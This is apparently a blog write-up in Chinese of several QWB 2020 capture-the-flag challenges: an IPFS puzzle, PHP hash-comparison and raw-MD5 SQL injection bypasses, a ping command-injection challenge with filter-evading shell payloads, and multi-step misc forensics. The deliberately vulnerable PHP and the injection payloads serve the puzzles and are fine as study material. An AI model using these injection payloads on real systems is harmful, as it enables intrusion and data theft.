强网杯2020-部分Writeup

写在之前

36个小时的比赛,pwn老哥杀疯,分享一下几道自己做出来的题目

区块链

这个是现学的,看了老队长发的参考文章,发现还是挺有意思的

根据文档提示,是IPFS,基于区块链的共享协议,直接下载IPFS相关的docker镜像,省去环境配置,根据QMhash值下载

image.png-147.3kB

获取到六个图片文件

image.png-192kB

使用十六进制编辑器进行手动修复,根据图片的特征文件头和文件尾进行比对

image.png-17.4kB

image.png-72.7kB

拼接获取到图片1

image.png-355.2kB

图片二给了我们一个sha256值,我们根据QM生成算法,获取图片二的QM值

>>> import base58

>>> base58.b58encode_int(int("1220437246839fc6ad5e2b74386df944f99e7cb42998dee02f169644d88ce6b00b8f", 16))

'QmSsw6EcnwEiTT9c4rnAGeSENvsJMepNHmbrgi2S9bXNJr'

image.png-117.5kB

下载获取图片

image.png-338.2kB

获取到flag的生成方式:

flag=flag{md5(hash1+hash2)}

image.png-49.1kB

根据flag的加密形式计算flag

image.png-33.3kB

强网先锋

funhash

这个也是比较有意思的题目

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();


?>

给了三个level,具体看一下,第一个level需要我们进行md4的校验漏洞,猜测与md5漏洞一致,为0e开头的数字与加密后的数据相等,撰写爆破脚本

<?php


for($i=1;$i<=500000000;$i++){
    $a="0e".$i;
    if ($a == hash("md4",$a))
    {
        echo "\n";
        echo "hash1 is :";
        echo "\n";
        echo $a;
        exit();
    }
}
?>

image.png-76.6kB

获取到值,为:

0e251288019

level2为md5老漏洞,用数组绕过即可,level3要使得查询语句为True,实验吧的原题

image.png-57.3kB

最后构造payload

?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

image.png-55.9kB

主动

 <?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?> 

基础的命令执行绕过了,只过滤了flag,先确定位置

image.png-27.1kB

下一步就是读flag,方法很多,这里简单的总结几个

cat fla?.??? #需要在源码里面看flag
cat fl* #需要在源码里面看flag
cat f*| base64 #解密base64字符串即可获取flag
cat f`echo $PATH|cut -c6`ag.php #调用$PATH里的变量拼接获取字符

upload

分析流量,查看HTTP流

image.png-63.8kB

存在文件上传,恢复上传的jpg文件

猜测密码应该为弱口令或常用密码
https://blog.csdn.net/Blood_Seeker/article/details/81837571
原本利用shell脚本进行弱口令爆破,结果发现与CSDN例题密码一致,均为123456,解密获取到flag

image.png-33.2kB

Misc

miscstudy

1)追踪HTTP流得http://39.99.247.28/fonts/1。最后一行为flag第一部分:

flag{level1_begin_and_level2_is_come

2)密钥导入流量包,得一图片,末尾IDAT部分转base64得flag第二部分:

level3_start_it

3)图片中存在三部分IDAT异常,base64解码后二进制转二维码可得二维码:

image.png-44.1kB

image.png-13.4kB

level4_here_all

以及网盘链接:

image.png-6.4kB

5)
打开文件可得

image.png-4.6kB

level5_is_aaa

中间发现了一个有趣的问题,在kali里面解压需要密码,而且输入一个空格就能解压,但里面东西不太对

image.png-42.6kB

在win10中直接解压出现这些东西

image.png-13.5kB

6)crc32爆破level6中的三个txt文件,得第四部

image.png-54.8kB

level6_isreday

因为level5里面有个1.png,level7里面也有1.png所以,把level5.zip中的1.png打包1(3).zip,采取明文攻击,密钥恢复后保存归档,就可以无密码打开了,得到三张图片,将两张相同的图片进行盲水印攻击

python3 bwmforpy3.py decode 4.png 5.png shuiyin.png

image.png-299.6kB

level7ishere
39.99.247.28/final_level/

final:访问获取到的页面,搜索注释符号,获取到提示

image.png-187.7kB

maybe you should pass (no one can find me)

给了密码和html页面,猜测加密方式,i春秋圣诞欢乐赛原题目

image.png-26.8kB

直接用网站解密

image.png-29.4kB

获取到最后一段flag

the_misc_examaaaaaaa_!!!}

flag:

flag{level1_begin_and_level2_is_comelevel3_start_itlevel4_here_alllevel5_is_aaalevel6_isreadylevel7isherethe_misc_examaaaaaaa_!!!}

之后

web也搞了两道,不过是学弟主要做的,这里就我就不发了,可以看学弟总结的,写的比较全面:战队的易烊千玺-Ginkgo未来的web扛把子-W4nder


One thought on “强网杯2020-部分Writeup”

发表评论

电子邮件地址不会被公开。 必填项已用*标注